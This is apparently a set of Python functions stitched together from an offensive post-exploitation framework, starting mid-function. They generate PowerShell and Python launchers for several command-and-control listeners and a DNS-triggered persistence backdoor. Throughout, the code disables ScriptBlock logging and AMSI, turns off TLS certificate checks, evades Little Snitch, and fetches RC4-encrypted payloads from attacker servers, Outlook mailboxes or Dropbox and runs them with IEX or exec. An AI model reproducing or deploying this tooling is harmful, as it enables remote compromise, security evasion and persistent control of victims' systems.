%{$_.Folders.Item(2).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '")};' stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "' + listenerOptions[ 'Email']['Value'] + '"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("' + listenerOptions[ 'Folder']['Value'] + '");' stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization( "while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}" ) # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization( '$mail = $outlook.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization( ';$mail.save() | out-null;') stager += helpers.randomize_capitalization( '$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization( '$break = $False; $data = "";') stager += helpers.randomize_capitalization( "While ($break -ne $True){") stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;' ) stager += helpers.randomize_capitalization( '$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}' ) stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate( self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." ) else: print helpers.color( "[!] listeners/http_mapi generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http_com generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # ScriptBlock Logging bypass stager = helpers.randomize_capitalization("$GroupPolicySettings = [ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings', 'N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").GetValue($null);$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;" stager += helpers.randomize_capitalization("$GroupPolicySettings") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;" # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a header location stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" stager += "$ser='%s';$t='%s';" % (host, stage0) stager += "$ie.navigate2($ser+$t,$fl,0,$Null,'CF-RAY: %s');" % (b64RoutingPacket) stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" stager += "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(stager, self.mainMenu.installPath, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_com generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color( '[!] listeners/http_hop generate_launcher(): no language specified!' ) if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[ listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['RedirectStagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '' if safeChecks.lower() == 'true': # @mattifestation's AMSI bypass stager = helpers.randomize_capitalization( "[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization( ')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization( ").SetValue($null,$true)};") stager += helpers.randomize_capitalization( "[System.Net.ServicePointManager]::Expect100Continue=0;" ) stager += helpers.randomize_capitalization( "$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': userAgent = profile.split('|')[1] stager += "$u='" + userAgent + "';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization( '$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization( "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" ) else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization( "$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization( "$proxy.Address = '" + proxy.lower() + "';") stager += helpers.randomize_capitalization( "$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization( "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" ) else: # TODO: implement form for other proxy credentials pass # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization( "$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization( '$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};' ) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += "$ser='%s';$t='%s';" % (host, stage0) stager += helpers.randomize_capitalization( "$data=$WC.DownloadData($ser+$t);") stager += helpers.randomize_capitalization( "$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization( "-join[Char[]](& $R $data ($IV+$K))|IEX") # base64 encode the stager and return it if encode: return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if 'https' in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stagger: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': userAgent = profile.split('|')[1] launcherBase += "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener();" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet( stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie launcherBase += "o.addheaders=[('User-Agent',UA), (\"Cookie\", \"session=%s\")];\n" % ( b64RoutingPacket) launcherBase += "import urllib2\n" launcherBase += "if urllib2.getproxies():\n" launcherBase += " o.add_handler(urllib2.ProxyHandler(urllib2.getproxies()))\n" # download the stager and extract the IV launcherBase += "a=o.open(server+t).read();" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python &" % ( launchEncoded) return launcher else: return launcherBase else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." ) else: print helpers.color( "[!] listeners/http_hop generate_launcher(): invalid listener name specification!" )
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/http generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization('Add-Type -assembly "Microsoft.Office.Interop.Outlook";') stager += "$outlook = New-Object -comobject Outlook.Application;" stager += helpers.randomize_capitalization('$mapi = $Outlook.GetNameSpace("') stager += 'MAPI");' if listenerOptions['Email']['Value'] != '': stager += '$fld = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(2).Folders.Item("'+listenerOptions['Folder']['Value']+'")};' stager += '$fldel = $outlook.Session.Folders | Where-Object {$_.Name -eq "'+listenerOptions['Email']['Value']+'"} | %{$_.Folders.Item(3)};' else: stager += '$fld = $outlook.Session.GetDefaultFolder(6).Folders.Item("'+listenerOptions['Folder']['Value']+'");' stager += '$fldel = $outlook.Session.GetDefaultFolder(3);' # clear out all existing mails/messages stager += helpers.randomize_capitalization("while(($fld.Items | measure | %{$_.Count}) -gt 0 ){ $fld.Items | %{$_.delete()};}") # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization('$mail = $outlook.CreateItem(0);$mail.Subject = "') stager += 'mailpireout";' stager += helpers.randomize_capitalization('$mail.Body = ') stager += '"STAGE - %s"' % b64RoutingPacket stager += helpers.randomize_capitalization(';$mail.save() | out-null;') stager += helpers.randomize_capitalization('$mail.Move($fld)| out-null;') stager += helpers.randomize_capitalization('$break = $False; $data = "";') stager += helpers.randomize_capitalization("While ($break -ne $True){") stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein"} | %{$_.HTMLBody | out-null} ;') stager += helpers.randomize_capitalization('$fld.Items | Where-Object {$_.Subject -eq "mailpirein" -and $_.DownloadState -eq 1} | %{$break=$True; $data=[System.Convert]::FromBase64String($_.Body);$_.Delete();};}') stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager else: print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module.") else: print helpers.color("[!] listeners/http_mapi generate_launcher(): invalid listener name specification!")
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None): """ Generate a basic launcher for the specified listener. """ if not language: print helpers.color('[!] listeners/dbx generate_launcher(): no language specified!') if listenerName and (listenerName in self.threads) and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] # host = listenerOptions['Host']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] pollInterval = listenerOptions['PollInterval']['Value'] apiToken = listenerOptions['APIToken']['Value'] baseFolder = listenerOptions['BaseFolder']['Value'].strip('/') stagingFolder = "/%s/%s" % (baseFolder, listenerOptions['StagingFolder']['Value'].strip('/')) taskingsFolder = "/%s/%s" % (baseFolder, listenerOptions['TaskingsFolder']['Value'].strip('/')) resultsFolder = "/%s/%s" % (baseFolder, listenerOptions['ResultsFolder']['Value'].strip('/')) if language.startswith('po'): # PowerShell # replace with stager = '' for troubleshooting stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass stager += helpers.randomize_capitalization("$GPF=[ref].Assembly.GetType(") stager += "'System.Management.Automation.Utils'" stager += helpers.randomize_capitalization(").\"GetFie`ld\"(") stager += "'cachedGroupPolicySettings','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(");If($GPF){$GPC=$GPF.GetValue($null);If($GPC") stager += "['ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("){$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;" stager += helpers.randomize_capitalization("$GPC") stager += "['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}" stager += helpers.randomize_capitalization("$val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add") stager += "('EnableScriptB'+'lockLogging',0);" stager += helpers.randomize_capitalization("$val.Add") stager += "('EnableScriptBlockInvocationLogging',0);" stager += helpers.randomize_capitalization("$GPC") stager += "['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']" stager += helpers.randomize_capitalization("=$val}") stager += helpers.randomize_capitalization("Else{[ScriptBlock].\"GetFie`ld\"(") stager += "'signatures','N'+'onPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,(New-Object Collections.Generic.HashSet[string]))}") # @mattifestation's AMSI bypass stager += helpers.randomize_capitalization("[Ref].Assembly.GetType(") stager += "'System.Management.Automation.AmsiUtils'" stager += helpers.randomize_capitalization(')|?{$_}|%{$_.GetField(') stager += "'amsiInitFailed','NonPublic,Static'" stager += helpers.randomize_capitalization(").SetValue($null,$true)};") stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$wc=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$wc.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy;") stager += helpers.randomize_capitalization("$proxy.Address = '"+ proxy.lower() +"';") stager += helpers.randomize_capitalization("$wc.Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] domain = username.split('\\')[0] usr = username.split('\\')[1] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" stager += helpers.randomize_capitalization("$wc.Proxy.Credentials = $netcred;") #save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $wc.Proxy;" # TODO: reimplement stager retries? # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # add in the Dropbox auth token and API params stager += "$t='%s';" % (apiToken) stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Authorization\",\"Bearer $t\");" stager += helpers.randomize_capitalization("$wc.Headers.Add(") stager += "\"Dropbox-API-Arg\",'{\"path\":\"%s/debugps\"}');" % (stagingFolder) stager += helpers.randomize_capitalization("$data=$WC.DownloadData('") stager += "https://content.dropboxapi.com/2/files/download');" stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager elif language.startswith('py'): launcherBase = 'import sys;' # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)\n" launcherBase += "out = ps.stdout.read()\n" launcherBase += "ps.stdout.close()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print helpers.color(p, color='red') if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "t='%s';" % (apiToken) launcherBase += "server='https://content.dropboxapi.com/2/files/download';" launcherBase += "req=urllib2.Request(server);\n" launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header(\"Authorization\",\"Bearer \"+t);" launcherBase += "req.add_header(\"Dropbox-API-Arg\",'{\"path\":\"%s/debugpy\"}');\n" % (stagingFolder) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with urlopen. launcherBase += "urllib2.install_opener(o);\n" launcherBase += "a=urllib2.urlopen(req).read();\n" launcherBase += "IV=a[0:4];" launcherBase += "data=a[4:];" launcherBase += "key=IV+'%s';" % (stagingKey) # RC4 decryption launcherBase += "S,j,out=range(256),0,[]\n" launcherBase += "for i in range(256):\n" launcherBase += " j=(j+S[i]+ord(key[i%len(key)]))%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += "i=j=0\n" launcherBase += "for char in data:\n" launcherBase += " i=(i+1)%256\n" launcherBase += " j=(j+S[i])%256\n" launcherBase += " S[i],S[j]=S[j],S[i]\n" launcherBase += " out.append(chr(ord(char)^S[(S[i]+S[j])%256]))\n" launcherBase += "exec(''.join(out))" if encode: launchEncoded = base64.b64encode(launcherBase) launcher = "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | /usr/bin/python &" % (launchEncoded) return launcher else: return launcherBase else: print helpers.color("[!] listeners/dbx generate_launcher(): invalid listener name specification!")
def generate(self): script = """ function Invoke-ResolverBackdoor { param( [Parameter(Mandatory=$False,Position=1)] [string]$Hostname, [Parameter(Mandatory=$False,Position=2)] [string]$Trigger="127.0.0.1", [Parameter(Mandatory=$False,Position=3)] [int] $Timeout=0, [Parameter(Mandatory=$False,Position=4)] [int] $Sleep=30 ) $running=$True $match ="" $starttime = Get-Date while($running) { if ($Timeout -ne 0 -and ($([DateTime]::Now) -gt $starttime.addseconds($Timeout))) { $running=$False } try { $ips = [System.Net.Dns]::GetHostAddresses($Hostname) foreach ($addr in $ips) { $resolved=$addr.IPAddressToString if($resolved -ne $Trigger) { $running=$False REPLACE_LAUNCHER } } } catch [System.Net.Sockets.SocketException]{ } Start-Sleep -s $Sleep } } Invoke-ResolverBackdoor""" listenerName = self.options['Listener']['Value'] if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # set the listener value for the launcher stager = self.mainMenu.stagers.stagers["launcher"] stager.options['Listener']['Value'] = listenerName stager.options['Base64']['Value'] = "False" # and generate the code stagerCode = stager.generate() if stagerCode == "": return "" else: script = script.replace("REPLACE_LAUNCHER", stagerCode) script = script.encode('ascii', 'ignore') for option, values in self.options.iteritems(): if option.lower() != "agent" and option.lower( ) != "listener" and option.lower() != "outfile": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch script += " -" + str(option) else: script += " -" + str(option) + " " + str( values['Value']) outFile = self.options['OutFile']['Value'] if outFile != '': # make the base directory if it doesn't exist if not os.path.exists(os.path.dirname( outFile)) and os.path.dirname(outFile) != '': os.makedirs(os.path.dirname(outFile)) f = open(outFile, 'w') f.write(script) f.close() print helpers.color( "[+] PowerBreach deaduser backdoor written to " + outFile) return "" # transform the backdoor into something launched by powershell.exe # so it survives the agent exiting launcher = helpers.powershell_launcher(script) stagerCode = 'C:\\Windows\\System32\\WindowsPowershell\\v1.0\\' + launcher parts = stagerCode.split(" ") # set up the start-process command so no new windows appears scriptLauncher = "Start-Process -NoNewWindow -FilePath '%s' -ArgumentList '%s'; 'PowerBreach Invoke-EventLogBackdoor started'" % ( parts[0], " ".join(parts[1:])) return scriptLauncher
